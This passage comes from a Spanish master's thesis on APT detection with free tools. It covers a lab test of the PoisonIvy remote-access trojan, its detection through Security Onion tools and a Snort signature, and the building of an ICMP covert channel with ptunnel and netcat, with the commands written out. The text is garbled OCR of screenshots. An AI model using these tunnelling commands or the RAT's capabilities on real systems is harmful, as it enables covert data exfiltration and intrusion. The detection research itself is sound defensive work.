1 objects 288.00 B

Downloac 0.008/s Upload 0.00B/s

Figura 72:Descarga del fichero de texto comprimido en .zip con Poisonlvy.

6. Eliminamos el servidor.

* Lu\sﬁEasteiro):a\voiTFMiuNIRleﬁ.[192.168.99.5] - Poison I.\.fy

[= @] =]
@ Information 5] fg = -'_3, a3 File Search
= Managers
= D Filzs File: name: Name Size Type  Altib. Modified
Lo Search zip 5 CADocuments and Settings\usuanio\E soritorichdRchiva_Prueba_Kevlogger zip 283.00B ZIF & 09/09/2016 11:...

& word in the file:

=
=] Processes
rild Services

e Search in:
evices n
Installed &pplications EDocurerts and: [ ]
i “Wind
&1 s [ Include subdiectories
&7 Tools g )
5% Relay = Uninstall Server =
¥ Bctive Parts [7] Case sensitiv

-l Remate Shell

o~ Passward Audit

_}+ Cached

f g NT/NTLM Hashes

L Wireless

) Surveilance

5 Koy Lo
a4 Audio Capture

~ | Screen Caphue

- il webcam Capture

2 Pluging

=l Administiation

g EditID

&7 Share

42, Update

25 Restart

-3 Uninstall

| Are you sure you want to uninstall?

Figura 73: Desinstalacion servidor victima con panel de control de Poisonlvy.
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4.2.5 Evaluacidon de la prueba
SGUIL

A continuacién se procede a mostrar la informacién obtenida a través de Squil:
-

® [FTSEUI6B0 Connecte” @ squert (142) - luisbe - C... (@] [Terminal - luisbc@Sec...

- SGUIL-0.9.0 - Connected To localhost

File Query Reports Sound: Off ServerName: localhost UserName: luishe UserID: 2

RealTime events | Escalated Events |

AlertID Date/Time rt DPort | Pr | Event Messag
7 SecurityO... 1.1 2016-09-0908:08:50  0.0.0.0 0.0.0.0 [0SSEC] Integrity checksum changed again (2nd time).

[

- 60 SecurityO... 12 2016-09-09 08:09:02  0.0.0.0 0.0.0.0 [0SSEC] Integrity checksum changed.

- 1 SecurityO... 1.10 2016-09-09 08:09:39  0.0.0.0 0.0.0.0 [OSSEC] New group added to the system

- 1 SecurityO... 1.37 2016-09-0908:16:12  0.0.0.0 0.0.0.0 [OSSEC] Received 0 packets in designated time interval (defined in ossec.conf). Please check interfa...
l! 73 SecurityO... 31 2016-09-09 08:45:14  192.168.99.5 1032 192.168.99.4 3460 6 ET TROJAN Poisonlvy.E Keepalive to CnC

¥ Show Packet Data ¥ Show Rule
alert tcp SHOME_NET any > SEXTERNAL_NET any (msg:"ET TROJAN Poisonlvy.E Keepalive to CnC"; A
flowrestablished,to_server; content:"|90 48 Sc d5 ec 70 a3 8b 41 72 28 50 ec f6 d5 2a| ; offset:16; depth:
2016-09-00 08:18:00 - reference:url,www.threatexpert.com/report.aspx?md5=fc414168aSh4ca074eabe03{770659%f; classtype:trojan-activity;
T sid:2013337; revid;)

1 SecurityOnion-TFM-ossec  SecurityOnion-TFM-ossec  ossec

2 SecurityOnion-TFM-eth1  SecurityOnion-TFM-eth1 peap 2150000102255 [ - data/security urityOnion-TFM-eth1-1/downloaded.rules: Line 12788
3 SecurityOnion-TFM-eth1  SecurityOnion-TFM-eth1-1  snort aeosoooozzze [ ) T T L WS W W e Ghm T A
192.168.99.5 [192.168.99.4 a5 o [s8 55 |2 o 128 [a5838
UAPRSF
Source Dest R R R C S 5 V I
Port Pot 10 GKHT NN Seq# Ack#  Offset Res Window Urp Chksum
1032 (3460 x x

13974277385 1822292662 |5 ] 63326 |0 |8867
[E0 F5 3D C1 FO EA 15 DB 43 3E 65 F8 9B E2 14 BA 1

..Cre, =
90 48 5C D> EC 70 A2 8B 41 72 28 50 EC F6 D5 2A p..Ar(P
|AD F2 8C C9 05 E5 77 E8 E3 1E 76 D5 76 9A 8E 0B W...V.v

Update Interval (secs): |15 :l NOW r * search Packet Payload ‘ © Hex @# Text [ NoCase

& & 0= i {0 @ @ crepmecha

Figura 74: Resultados del andlisis en Sguil.

Para cada una de las alertas, podemos ver los eventos relacionados:

@ squert (142) - luisbc - C... [ [Terminal - luisbc@Sec
SGUIL-0.9.0 - Connected To localhost

& [T SGUIL-0.9.0 - Connecte...

File Query Reports Sound: Off ServerName: localhost UserName: luisbc UserID:

RealTime Events | Escalated Events. 31 |

Close | Export

:

T DPort

- 1 SecurityO... 31 2016-09-09 08:45:14  192.168.99.5 1032 192.168.99.4 3460 6 ET TROJAN PoisonIvy.E Keepalive to CnC
[ ] 1 SecurityO... 3.2 2016-09-0908:45:21  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
RT 1 SecurityO... 33 2016-09-09 08:46:06  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
[ ] 1 SecurityO... 3.4 2016-09-09 08:46:51  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
RT 1 SecurityO... 315 2016-09-09 08:47:36  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
[ ] 1 SecurityO... 3.6 2016-09-0008:48:21  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
RT 1 SecurityO... 3.7 2016-09-09 08:49:06  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
[ ] 1 SecurityO 3.8 2016-09-00 08:49:51  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
RT 1 Securityo 3.9 2016-09-09 08:50:36  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
[ ] 1 SecurityO 310 2016-09-0008:51:21  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
RT 1 Securityo an 2016-09-09 08:52:06  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
[ ] 1 SecurityO 312 2016-09-0908:52:52  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
RT 1 Securityo 313 2016-09-09 08:53:37  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
[ ] 1 Security0.. 314 2016-09-0908:54:22  192.168.99.5 1032 192.168.99.4 3450 6  ETTROJAN Poisonlvy.E Keepalive to CnC
RT 1 Security0.. 315 2016-09-09 08:55:07  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
[ ] 1 Security0.. 3.6 2016-09-09 08:55:52  192.168.99.5 1032 192.168.99.4 3450 6  ETTROJAN Poisonlvy.E Keepalive to CnC
RT 1 Security0.. 317 2016-09-09 08:56:37  192.168.99.5 1032 192.168.99.4 3460 6  ETTROJAN Poisonlvy.E Keepalive to CnC
[ ] 1 Security0.. 318 2016-09-0908:57:22  192.168.99.5 1032 192.168.99.4 3450 6  ETTROJAN Poisonlvy.E Keepalive to CnC
RT 1 Security0.. 219 2016-09-00 08:58:07  192.168.99.5 1032 192.168.99.4 3460 &  ETTROJAN Poisonlvy.E Keepalive to CnC
[ ] 1 Security0.. 320 2016-09-0908:58:52  192.168.99.5 1032 192.168.99.4 3450 6  ETTROJAN Poisonlvy.E Keepalive to CnC
RT 1 Security0..  3.21 2016-09-00 08:50:37  192.168.99.5 1032 192.168.99.4 3460 &  ETTROJAN Poisonlvy.E Keepalive to CnC
- 1 SecurityO... 3.22 2016-09-0909:00:22  192.168.99.5 1032 192.168.99.4 3480 6 ET TROJAN PoisonIvy.E Keepalive to CnC il

1P Resolution | Agent Status | Snort Statistics | System Msgs | UserMsgs | ‘ rishow Packer Dot show Rule -

Figura 75: Eventos correlacionados para el ataque con Poisonlvy en Sguil.
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Sguil es una potente herramienta que nos permite procesar la informacién captada a través
de varias herramientas, como Wireshark o NetworkMiner. A continuacion se muestran los

analisis llevados a cabo con dichas herramientas:

WIRESHARK

B [ SGUIL-0.9.0 - Connecte... @ squert (142) - luisbc - C... [Ml"192'168:99/4"3466 1627 [@ [Terminal - luisbc@Sec...

192.168.99.4 3460 192.168.99.5 1032-6.raw [Wireshark 1.10.6 (v1.10.6 from master-1.10)]
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

B elxclQ¢reay FEleggerf d@2EE G

@h [E2 09sep, 10:38

v | Expression... Cles

No. Time Source Destination Protocol Lengtl Info l

3 0.000003 192.168.99.5 192.168.99.4 TCP 60 1032 > 3460 [ACK] Seg=1 Ack=1 Win=64240 Len=0

4 0.000094 192.168.99.5 192.168.99.4 TCP 310 1832 > 3460 [PSH, ACK] Seg=1 Ack=1 Win=64240 Len=256

5 0.200581 192.168.99.4 192.168.99.5 TCP 68 3460 > 1032 [ACK] Seq=1 Ack=257 Win=64248 Len=0

6 53.624469 192.168.99.4 192.168 5 TCP 316 3460 > 1032 [PSH, ACK] Seg=1 Ack=257 Win=64240 Len=256

7 624772 -4 5 > 4240 Len=1460

8 53.624779 192.168.99.4 192.168.99.5 TCP 644 3460 > 1032 [PSH, ACK] Seg=1717 Ack=257 Win=64240 Len=590
9 53.624873 192.168.99.5 192.168.99.4 TCP 60 1832 > 3460 [ACK] Seq=257 Ack=1717 Win=64248 Len=0

16 53.6249508 192.168.99.4 192.168.99.5 TCP 1514 3468 > 1032 [ACK] Seq=2307 Ack=257 Win=64240 Len=1460

11 53.624954 192.168.99.4 192.168.99.5 TCP 1514 3468 > 1032 [ACK] Seq=3767 Ack=257 Win=64240 Len=1460

12 53.624957 192.168.99.4 192.168.99.5 TCP 680 3460 > 1832 [PSH, ACK] S5eq=5227 Ack=257 Win=64240 Len=626
13 53.625027 192.168.99.5 192.168.99.4 TCP 68 1832 > 3460 [ACK] Seq=257 Ack=3767 Win=64240 Len=0

14 53.625032 192.168.99.5 192.168.99.4 TCP 68 1032 > 3460 [ACK] Seq=257 Ack=5853 Win=64240 Len=0

15 53.625234 192.168.99.4 192.168.99.5 TCP 1514 3468 > 1832 [ACK] Seq=5853 Ack=257 Win=64240 Len=1460

16 53.625241 192.168.99.4 192.168.99.5 TCP 648 3460 > 1032 [PSH, ACK] Seg=7313 Ack=257 Win=64240 Len=586
17 53.625244 192.168.99.5 192.168.99.4 TCP 60 1032 > 3460 [ACK] Seq=257 Ack=7899 Win=64240 Len=0

10 3 cacane 1@0 160 oo 4 100 160 an © Tro 1MOE IAGM - 1037 [DCU  AFK] Can_7000 A-L_IE7 WEina_6A240 | An—1021

» Frame 7: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits)
¥ Ethernet II, Src: 08:00:27:30:75:86 (08:00:27:30:75:86), Dst: 08:00:27:46:c9:fe (08:00:27:46:c9:fe)
b Internet Protocol Version 4, Src: 192.168.99.4 (192.168.99.4), Dst: 192.168.99.5 (192.168.99.5)
b Transmission Control Protocol, Src Port: 3460 (3460), Dst Port: 1032 (1032), Seq: 257, Ack: 257, Len: 1460
~ Data (1460 bytes)
Data: d61500008831ac4608dddc8def816ff3dba8flfed2633bd5. ..
[Length: 1460]

Figura 76: Captura de trafico generado por Poisonlvy en Wireshark a través de Sguil.

NETWORKMINER

NetworkMiner 2.

File  Tools Help

Hosts (2) | Files | Images | Messages | Credentials | Sessions (1) | DNS | Parameters | Keywords | Anomalies | [ Case Panel

Fle. | w5 I
Sort Hosts On: [P Address (ascending) | Sort and Refresh 192.16... ca5041118e9de438739..

¥ 192.168.99.4 (Windows)
1P 192.168.99.4
¥ MAC: 080027307586 (Cadmus Computer Systems)
Hostname:
Ay os: windows
Ettercap: Windows 2000 (100.00 %)
Satori TCP: Windows - Windows Vista (25.00 %) Windows - Windows Server 2008 R2 (25.00 %) Windows - Windows Server 2008 (25.00 %) Windows - Windows 7 (25.00 %)
TTL: 128 (distance: 0)
Open TCP Parts: 3460
TCP 3460 - Entropy (in \ out): 100.00 \ 99.30 Typical data (in \ out): J°SENQ&6PAIIEC GNOESAATDFLI] | '4¥~C-[n*nIEY W) DVEIarQIuZe
&) Sent: 37341 packets (1,523,985 Bytes), 0.00 % cleartext (0 of O Bytes)
192.168.99.4 (Windows) -> 192.168.99.5 (Windows) : 37341 packets (1,523,985 Bytes), 0.00 % cleartext (0 of 0 Bytes)
43 Received: 90266 packets (127,041,496 Bytes), 0.00 % cleartext (0 of 0 Bytes)
105.768.00.5 = 192.168.39.2 (1 ts (1270
2 incoming sessions: 1
Outgoing sessions: 0
¥ 192.168.99.5 (windows)
1P: 192.168.9.5
¥ MAC: 08002746CSFE (Cadmus Computer Systems)
Hostname:
A os: windows
Ettercap: Windows XP Pro, Windows 2000 Pro (100.00 %)
pOf (NetSA): Windows XP SP1+, 2000 SP3 [Windows) (100.00 %)
Satori TCP: Windows - Windows XP (100.00 %)
TTL: 128 (distance: 0)
Open TCP Ports:
€) Sent: 90266 packets (127,041,496 Bytes), 0.00 % cleartext (0 of 0 Bytes)
B 192.168.99.5 (Windows) -> 192.168.99.4 (Windows) : 0266 packets (127,041,496 Bytes), 0.00 % cleartext (0 of 0 Bytes)
TCP: 1032 -> 3460 : 90266 packets (127,041,496 Bytes), 0.00 % cleartext (0 of 0 Bytes)
42 Received: 37341 packets (1,523,985 Bytes), 0.00 % cleartext (0 of 0 Bytes)
192.168.99.4 (Windows) -> 192.168.99.5 (Windows) : 37341 packets (1,523,985 Bytes), 0.00 % cleartext (0 of 0 Bytes)
Incoming sessions: 0
&1 Outgoing sessions: 1
B | Server: 192.168.99.4 (Windows) TCP 3460
Server: 192.168.99.4 (Windows) TCP 3460 (30337 data bytes sent), Client: 102.168.99.5 (Windows) TCP 1032 (123430848 data bytes sent), Session start: 6/0/2016 8:44:20 AM, Session
3 Host Details
Device Category : Windows

Figura 77: Datos analizados por NetworkMiner.
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SQUERT

Luis Besteiro Calvo

Squert es un NSM al igual que Sguil, y nos permite correlacionar datos captados por los

distintos sensores.

A continuacién se muestra la la alerta generada por la actividad de Poisonlvy generada en

Snort:

[

B - ) [securityonion-tfm-ethl... = SGUIL-0.9.0 - Connecte... & SqUert(142) " IUISBEZCI [ [Terminal - luisbc@Sec...
L)

WELCOME luisbe |

™ 192.168.99...pcap ~

09 sep, 10:54

squert (142) - luisbc - Chromium =

[ squert (142) - luisbc x ' [} ELSA = a8
= C | B b#ws://localhost/squert/index.p 7327f5943ece0f633 r
EENS Sl |y a
INTERVAL:  2016-09-09 00:00:00 -> 2016.09.09 23:59:59 (+00:00)  FILTEREDBY OBJECT NO  FILTEREDBY SENSOR: NO  PRIORITY: NENNEWTNNNNE(  wex ]
TOGGLE A | QueEwe SC  DC  ACTVTY  IASTEVENT  SIGNATURE D PROTO % TOTAL
queue only.
- I 1 - 09:38:39 ET TROJAN Poisonivy.E Keepalive to CnC 2013337 6 51.408%
grouping on
alert tcp SHOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN Paisonlvy.E Keepalive to CnC"; flow:established,to_server; content:"|90 48 5c d5 ec 70 a3 8b 41 72 28 50 ec 6 d5 2a|"; offset:16; depth:16; re
SUMMARY A | ference:ur www. Om/report.aspx?mads=fc4141 70659¢f; classtype:trojan-activity; sid:201 L revid)
queued events 142 il downloaded. rules: 12788
A events a4z CATEGORIZE 0 EVENTS) WM CREATEFITER: sic dst both
total signatures 5
tolal sources - QUEUE ACTIVITY  LASTEVENT SOURCE COUNTRY DESTINATION COUNTRY
total destinations -
- - 2016.09-09 09:38:39 192.168.995 192.168.99.4
COUNT BY PRIORITY A
ST TIMESTAWP EVENTID SOURCE PORT  DESTINATION PORT  SIGNATURE
high 73 (sr.am)
2016.00-0000:38:39 373 192.168.99.5 1032 192.16899.4 3460 T TROJAN Poisonivy.E Keepalive to CnC
medium
Tow 2016.09.090837:54 372 192.166.99.5 1032 192168994 3460  ET TROJAN Poisonlvy.E Keepalive to CnC
other ) 2016.09-09 09:37:09 an 192.168.995 1032 192.168.99.4 3460  ET TROJAN PoisonivyE Keepalive to CnC
COUNT BY CLASSIFICATION 7~ 2016.00-0008:36:24 30 192.168.99.5 1032 192.16899.4 3460 T TROJAN PoisonivyE Keepalive to CnC
a 2016.09.0908:35:39 369 192.166.99.5 1032 192168994 3460  ET TROJAN Poisonlvy.E Keepalive to CnC
compromised L1 -
® compromised L2 2016.09.09 09:34:54 368 192.168.995 1032 192.168.99.4 3480  ET TROJAN Poisonlvy E Keepalive to CnC
attempted access 2016-09-09 09:34:09 367 192.168.99.5 1032 192.168.99.4 3460  ET TROJAN Poisonivy.E Keepalive to CnG
® denial of servics
_ 2016000000324 366 192.168.99.5 1032 192.16899.4 3460 T TROJAN Poisonivy.E Keepalive to CnC
® policy vielaion
s 2016.09.0908:3239 365 192.166.99.5 1032 192168994 3460  ET TROJAN Poisonivy.E Keepalive to CnC

UTC 10:54:39
SHOW ALL x

©) &P & ] = i [ @ 3] cmLDERECHA

Figura 78: Alertas Snort mostradas en Squert.

Squert, al igual que Sguil, nos permite analizar los datos a través de la perspectiva de otras

herramientas, tales como capME!, o ELSA.

A continuacion podemos ver el analisis de una alerta de Snort por la actividad de PoisonlvY

a través de capME!:
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CAPME!

Security Onion 14.04.4.2 - TFM - Luis Besteire Calvo [Corriende] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositives  Ayuda

B [ [securityonion-tfm-ethl... 7 SGUIL-0.9.0 - Connecte... [l capME!" Chromium | (@ [Terminal - luisbc@Sec... @[3 09sep, 1058

capME! - Chromium

[ squert (142) - luisbe X { [3 capME! - Please logi X ) [ capME! X

T C | B b#ys://localhost/capme/index.php?&sip=192.168.99.5&spt=1032&dip=192.168.99.4&dpt=3460&stime=1473410319&etime=1473417519&filename=squert ﬁ} 5

WELCOME luisbc | LOGOUT

192.168.99.4:3460_192.168.99.5:1032-6-1476379784.pcap

DEBUG: Using archived data: Onion-TFM-eth1/192.168.99.4:3460_192.168.99.5:1032-6.raw
QUERY: SELECT event imestamp AS start_time, s2.sid, 52.hostname FROM avent LEFT JOIN sonsor ON Beont il = sonsor 50 LERY JOIN sercor A€ 52 ON sensor net_nam
& = s2.net_name WHERE timestamp BETWEEN '2016-09-09 08:38:39' AND "2016-09-09 10:38:39" AND ((src_ip = INET_ATON(192.168.99.5) AND stc_port = 1032 AND dst_|
p =INET_ATON(192.168.99.4) AND dst_port = 3460 AND ip_proto=6) OR (src_ip = INET_ATON('192.168.09.4) AND sic_port = 3460 AND dst ip = INET_ATON(192.168.95.
) AND dst_port = 1032 AND ip_proto=6)) AND s2.agent_type = pcap’ LIMIT 1

CAPME: Processed transcript in 42.60 seconds: 0.10 22.23 0.00 20.26 0,00

192.168.00.4:3460_192.168.00 5:1032-6-1476370784 pe:

Figura 79: Andlisis de una transmision de Poisonlvy con capME!.

ELSA
Elsa nos permite llevar a cabo analisis pormenorizados a través de los datos de los logs
almacenados. A continuacién se muestra una grafica en la que se agrupan las conexiones

agrupadas por origen. Se puede ver que la maquina atacante (192.168.99.4) destaca sobre
la victima (192.168.99.6).

Security Onion 14.04.4.2 - TEM - Luis Besteiro Calvo [Corriende] - Oracle VM VirtualBox

Archivo Msquina Ver Entrada Dispositivos  Ayuda

® ) [securityonion-tim-ethl... [7] SGUIL-0.9.0 - Connecte... [ ELSA" Chromitm " [@ [Terminal - luisbc@Sec... %E{ 09 sep, 11:09

y ELSA - Chromium + g
' 1 squert(142) - luisbe x Y * \WR La]
%
ELSA~  Admin~ 1 node(s) with 25670.0 logs indexad and 25684.0 archive:
Query class=BRO_CONN "-" groupby:srcip| Submit Query | Help
From [2016-09-07 11:05:47 | To | | 0 uTe | Add Term ~ m index » | () Reuse currenttab () Grid display
Result Options... ~
Value [y ; ’
stcip _CONN "-" g <ip (8) [Grouped by srcip]
7380 1921680918
8000
480 192.168.99.1
450 192.168.99.4
157 127.001 €000 -
46 192.168.99.5
17 255255255255 | 0 |
13 192.168.99.6
2 0.0.00
2000
192.166.99.18 192.168.99.1 192.168.99.4 127.00.1 192.168.99.5 5. 5 192.168.99.6 0.0.
‘ v
™ 192.168.99...pcap ~ ‘ SHOWALL X
QOF LS E DG cmomec

Figura 80: Andlisis de conexiones por origen con ELSA.
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4.2.6 Propuesta de mejoras
Debido a las limitaciones de medios y tiempo de un TFM, no es posible llevar a cabo un
analisis elevadamente exhaustivo de todas las posibilidades posibles en el campo de la
deteccion de APT, y por ello a continuacion planteo propuestas que, a mi entender,
completarian y mejorarian lo realizado en el presente trabajo, y deberian de ser llevadas a
cabo para complementarlo:
* Uso de mas herramientas de detecciéon (SIEM o NSM):
Una de las mejoras a implementar seria la de realizar las mismas pruebas para 2 o
mas sistemas de monitorizacion. En mi opinion seria interesante repetir las pruebas
con AlienVault OSSIM en lugar de Security Onion para comparar resultados.
* Mayores muestras de malware:
Para evaluar mejor la eficacia de las herramientas de monitorizacion, es importante
utilizar el mayor niumero de muestras posibles de malware, tanto si hablamos de
muestras completamente diferentes (por ejemplo DarkComet) o modificaciones mas
actuales de Poisonlvy que mejoren su eficacia.
* Mayor numero de iteraciones con cada muestra de malware:
Adicionalmente a lo mencionado en el anterior apartado, para valorar con mas
detalle la eficacia de las herramientas de monitorizacion, seria interesante el realizar
un mayor numero de iteraciones, ya no solo con cada herramienta, sino con cada
una de sus multiples configuraciones posibles.
* Realizar las modificaciones pertinentes en el software de monitorizacion y analisis
de red para mejorar la eficiencia y eficacia de la deteccion.
* Un mayor numero de maquinas virtuales simulando distintos servicios y asi poder
simular en tiempo real junto con la infeccidon una mayor cantidad de trafico que

permita generar un entorno mas realista.
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4.3.Desarrollo de la prueba Covert Channel
Para la realizacién de esta prueba partimos del estado de la prueba realizada previamente,
por lo que no seria necesario repetir el apartado 4.2.1 de Simulacién de entorno de trabajo

normal. A continuaciéon se muestra el cémo se realizé la prueba y los resultados obtenidos.

4.3.1 Analisis de la prueba a realizarse
Esta prueba consiste en la creacion de un covert channel entre dos maquinas dentro del

mismo entorno de red para comprobar la eficacia de la distribucién Security Onion en su

deteccion.

A modo de recapitulacion de los componentes que entraran en juego para esta prueba:
* Maquinas virtuales utilizadas para la comunicacion a través del covert channel:
o Linux Mint Cinamon 18 64bit.
o Kali Linux 2016.2 64bit.
e Maquina virtual de monitorizacién y deteccion:
o Security Onion 14.04.4.2.
* Software para creacion del covert channel:

o ptunnel.

4.3.2 Creacion del Covert Channel

A continuacién se va a describir el procedimiento a seguir para crear el covert channel por

medio de ptunnel.

1. Instalamos ptunnel en la MV cliente (Linux Mint). En Kali Linux no seria necesario
ya que viene incluido en la distribucion.
sudo apt-get install ptunnel
2. Abrimos Wireshark en la maquina cliente para analizar la conexion tunelizada. Hay
que abrirlo como root para que capte el trafico.
sudo /usr/bin/wireshark
3. Creamos el proxy en la MV proxy, es decir, en la Kali Linux.

Ptunnel
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4. Creamos la conexion tunelizada en la maquina cliente con el proxy.
sudo ptunnel -p /Pproxy -lp PuertoCliente -da 127.0.0.1 -dp PuertoProxyServidor
5. Ponemos en modo escucha el servidor-proxy.
nc -l -p PuertoProxyServidor
6. Establecemos la comunicacion en el cliente con el proxy.
nc 127.0.0.1 PuertoClientePTunnel
7. Escribimos en la terminal para llevar a cabo el ejemplo de transmision a través de
Covert-Channel.
8. Cerramos la aplicacion pulsando en la terminal:
Ctrl+C

9. Cerramos Wireshark guardando la captura de trafico.

A continuacion se muestra el procedimiento realizado mediante capturas de pantalla en las

maquinas virtuales que se comunican a través del covert channel:

®

Archivo Editar Ver Buscar Terminal Ayuda Archivo Editar Ver Buscar Terminal Ayuda
uxMint18VM sudo /usr/bin/wireshark usuario@LinuxMintl8VM sudo ptunnel -p 192.168.99.6 -lp 8080 -da 192.168.99.7
word for usuario: -dp 22
[sudo] password for usuario:
d to look up 192.168.99.7-dp as destination address
inuxMint18VM sudo ptunnel -p 192.168.99.6 -lp 8080 -da 127.8.8.1 -d

Starting ptunnel v 0.72.
) 2804-2011 Daniel Stoedle, <daniels@ uit.no>
curity features by Sebastien Raveau, bastien.raveau@epita.fr>
: Relaying packets from incoming TCP streams.
: Incoming conmection.
: No running proxy thread - starting it.
: Ping proxy is listening in privileged mode.

usuario@LinuxMint18VM ~

Archivo Editar Ver Buscar Terminal Ayuda
usuario@LinuxMint18VM nc 127.0.8.1 8088
hola

iruhandu desde cliente

W vena i F]E]M 5 usvario@Linuxmintl.. (] usua wMvintl... [~ Ustario@LinixMinel-. | T [*enp0sg] 2 0B ® 1600

= & @ ] = @ [ & (3] cTRLDERECH
Figura 80: Creacion del ptunnel en maquina cliente Linux Mint.

Deteccién de APT con herramientas de seguridad de caracter libre 116



Master Universitario en Seguridad Informatica

root@Kali2016: ~

Editar Ver Buscar Terminal
:~# ptunnel
Starting ptunnel v 0.72.

200 777011 Daniel Stoedle, aniels

rity feat s by Sebastien Ravea

Ayuda

.uit.no>

bastien.raveau@epita.
incoming p

oroxy is listening in privileg

Incoming tunnel request from 192.1

Starting new se 127.0.0.1:22 with ID 20745

Figura 81: Creacion del ptunnel en

Luis Besteiro Calvo

root@Kali2016: ~

Archivo  Editar Terminal Ayuda
22

Ver Buscar
:~# nc -1 -p

hola
I;__:ll obando desde cliente

mdquina proxy-servidor Kali linux.

*enpOsg

o

-] Expression...

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
— § =
Adu @ E=EHaaqwE
(W] 2pp ay filter . <
No. Time Source Destination Protocol Lengtt Info

275 111.072960721 CadmusCo_f9:7b:61  0a:00:27:00:00:15  ARP 42 Who has 192,168.99.17 Tell 192.168.99.7 =
276 111.073172701 0a:00:27:00:00:15  CadmusCo_f9:fb:61  ARP 60 192.168.99.1 is at 9a:00:27:60:00:15 =
277 111.092450711 192.168.99.7 192.168.99.6 Icme 70 Echo (ping) request 1id=0x5109, seq=31/7936, ttl=64 (reply in 278) = |
278 111.082750543 192.168.99.6 192.168.99.7 cHp 70 Echo (ping) reply  id=0x5169, seq=31/7936, ttl=64 (request in 277) =
279 111.002761836 192.168.99.6 192.168.99.7 1cHP 70 Echo (ping) reply  1d=0x5109, seq=30/7680, ttl=64 5
280 111.845736760 192.168.99.1 239.255,255.250 uoP 698 51245 - 3762 Len=656 =
281 111.932927824 192.168.99.1 239,255, 255,250 upp 698 51245 - 3762 Len=656 =
282 112.003400022 192.168.99.6 Echo (ping) reply  1d=0x5109, seq=31/7936, jm|

283 112 19 Echo (ping) request

Echo

(reply in 28

a)
283)

285 112 1 51245 =
286 112.450088822 192.168.99.1 uop 698 51245 - 3702 6 =
287 113.004226423 192.168.99.7 1cHP 70 Echo (ping) request 1d=0x5169, seq=33/8448, ttl=64 (reply in 288) im|
288 113.094535668 192.168.99.6 1cMP 70 Echo (ping) reply  1d=0x5109, seq=33/8448, ttl=64 (request in 287) =
280 113004633132 192.168.99.6 cHp 70 Echo (ping) reply  id=0x5169, seq=32/8102, ttl=64
290 114.100088611 192.168.99.6 cHP 70 Echo (ping) reply  1d=0x5169, seq=33/8448, ttl=54 -
291 114.100160693 192.168.99.7 1cMP 78 Echo (ping) request 1d=6x5109, seq=34/8764, ttl=64 (reply in 292)
292 114.100443731 192.168.99.6 cHp 70 Echo (ping) reply  id=0x5169, seq=34/8764, ttl=64 (request in 201) -
293 115.104321293 192.168.99.7 1cHP 70 Echo (ping) request 1d=0x5169, seq=35/8960, ttl=84 (reply in 204)

| 294 115.104642296 192.168.99.6 ICHP 70 Echo (ping) reply  1d=0x5169, seq=35/8960, ttl=64 (request in 293)
295 115.104750587 192.168.99.6 IcHP 70 Echo (ping) repl 1d=0x5109, seq=34/8704, ttl=64
296 116.064671538 192.168.99.7 DNS 81 Standard query Gx6efa A 2.ubuntu.pool.ntp.org I
297 116.064765996 192.168.99.7 DNS 81 Standard query 8x6e6a A 2.ubuntu.pool.ntp.org

| 298 116.064799408 192.168.99.7 DNS 81 Standard query 8xf7f0 AAAA 2.ubuntu.pool.ntp.org =
299 116.064822796 7 7 S

6 a
192. Echo (ping) request

302 116.

107741672
302 116.108109133 192.168.99.6 cHp 70 Echo (ping) reply
304 116.108179533 192.168.99.6 ICHP 70 Echo (ping) reply

» Frame 284: 70 bytes on wire (560 bits), 78 bytes captured (568 bits) on interface 8
» Ethernet II, Src: CadmusCo_ee:aB:19 (8:00:27:ee:a8:19), Dst: CadmusCo_f9:f
»
»

Internet Protocol Version 4, Src: 192.168.99.6, Dst: 192.168.99.7
Internet Control Message Protocol

68 @0 27 f9 fb 61 @8 8@ 27 ee a8 19 08 80 45 @0
00 38 78 bb @0 00 46 61 ba ab cO a8 63 86 cO a8
63 07 00 00 cb d4 51 €9 €0 20 EEFENCEREFENENCT]
B8 81 68 €0 B8 40 B8 66 01 00 80 B0 1f 60 6
00 80 06 20 51 09

0020
0638
0048

@ 7 Data (data.data), 28 bytes

Standard query 0xT7f
;

ool.ntp.org

{
10=0x5169, 3679216,
1d=0x5109, seq=36/9216,
1d=0x5109, seq=35/8960,

ttl=64 (reply in 303)
ttl=64 (request in 302) 4
tt1=64 3

61 (08:00:27:F9:fb:61)

Packets: 304 - Displayed: 304 {100.0%) Profile: Default

Figura 82: Captura de paquetes con Wireshark en la maquina cliente.
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4.3.3 Analisis de entrono de trabajo con Covert Channel
A continuacién se muestra la informacion obtenida a través de las herramientas de

visualizacién de eventos Sguil y Squert de Security Onion:

0 Oracle rtualBox = a X
= [E7'SGUIL0:9.0- Connecte... | @ squert (3975) - luisbc - ... [%J E" 17 sep, 14:49
SGUIL-0.9.0 - Connected To localhost
File Query Reports Sound: Off ServerName: localhost UserMame: luisbc UserlD: 2 2016-09-17 14:49:00 GMT|
I =
RealTime Evantsw Escalated Euems] 3.87 1
T
8 SecurityO... 1.1 2016-09-09 08:08:50  0.0.0.0 0.0.0.0 o [OSSEC] Integrity checksum changed again (2nd time).
- 64 SecurityO... 13 2016-09-09 08:09:02  0.0.0.0 0.0.0.0 0 [OSSEC] Integrity checksum changed.
